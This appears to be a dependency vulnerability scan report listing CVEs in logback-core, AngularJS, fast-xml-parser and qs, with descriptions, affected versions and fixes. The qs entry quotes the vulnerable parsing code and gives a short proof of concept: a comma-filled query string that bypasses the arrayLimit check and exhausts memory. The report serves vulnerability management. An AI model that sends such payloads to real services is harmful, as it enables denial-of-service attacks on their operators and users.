ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2024-8372 - angular
Severity: LOW
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: Improper sanitization of the value of the 'srcset' attribute in Angula ...
Description:
Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .
This issue affects AngularJS versions 1.3.0-rc.4 and greater.
Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
Reference: https://avd.aquasec.com/nvd/cve-2024-8372
CVE-2024-8373 - angular
Severity: LOW
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: Improper sanitization of the value of the [srcset] attribute in <sourc ...
Description:
Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .
This issue affects all versions of AngularJS.
Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
Reference: https://avd.aquasec.com/nvd/cve-2024-8373
CVE-2025-0716 - angular
Severity: LOW
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: Improper sanitization of the value of the 'href' and 'xlink:href' attr ...
Description:
Improper sanitization of the value of the 'href' and 'xlink:href' attributes in '<image>' SVG elements in AngularJS allows attackers to bypass common image source restrictions. This can lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing and also negatively affect the application's performance and behavior by using too large or slow-to-load images.
This issue affects all versions of AngularJS.
Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
Reference: https://avd.aquasec.com/nvd/cve-2025-0716
CVE-2026-27942 - fast-xml-parser
Severity: LOW
Installed Version: 4.3.4
Fixed Version: 5.3.8, 4.5.4
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Stack overflow leads to Denial of Service
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. Prior to version 5.3.8, the application crashes with stack overflow when user use XML builder with `preserveOrder:true`. Version 5.3.8 fixes the issue. As a workaround, use XML builder with `preserveOrder:false` or check the input data before passing to builder.
Reference: https://avd.aquasec.com/nvd/cve-2026-27942
CVE-2026-2391 - qs
Severity: LOW
Installed Version: 6.13.0
Fixed Version: 6.14.2
Target: webapps/frontend/package-lock.json
Title: qs: qs's arrayLimit bypass in comma parsing allows denial of service
Description:
### Summary
The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
### Details
When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
**Vulnerable code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
### PoC
**Test 1 - Basic bypass:**
```
npm install qs
```
```js
const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try {
const result = qs.parse(payload, options);
console.log(result.a.length); // Outputs: 26 (bypass successful)
} catch (e) {
console.log('Limit enforced:', e.message); // Not thrown
}
```
**Configuration:**
- `comma: true`
- `arrayLimit: 5`
- `throwOnLimitExceeded: true`
Expected: Throws "Array limit exceeded" error.
Actual: Parses successfully, creating an array of length 26.
### Impact
Denial of Service (DoS) via memory exhaustion.
Reference: https://avd.aquasec.com/nvd/cve-2026-2391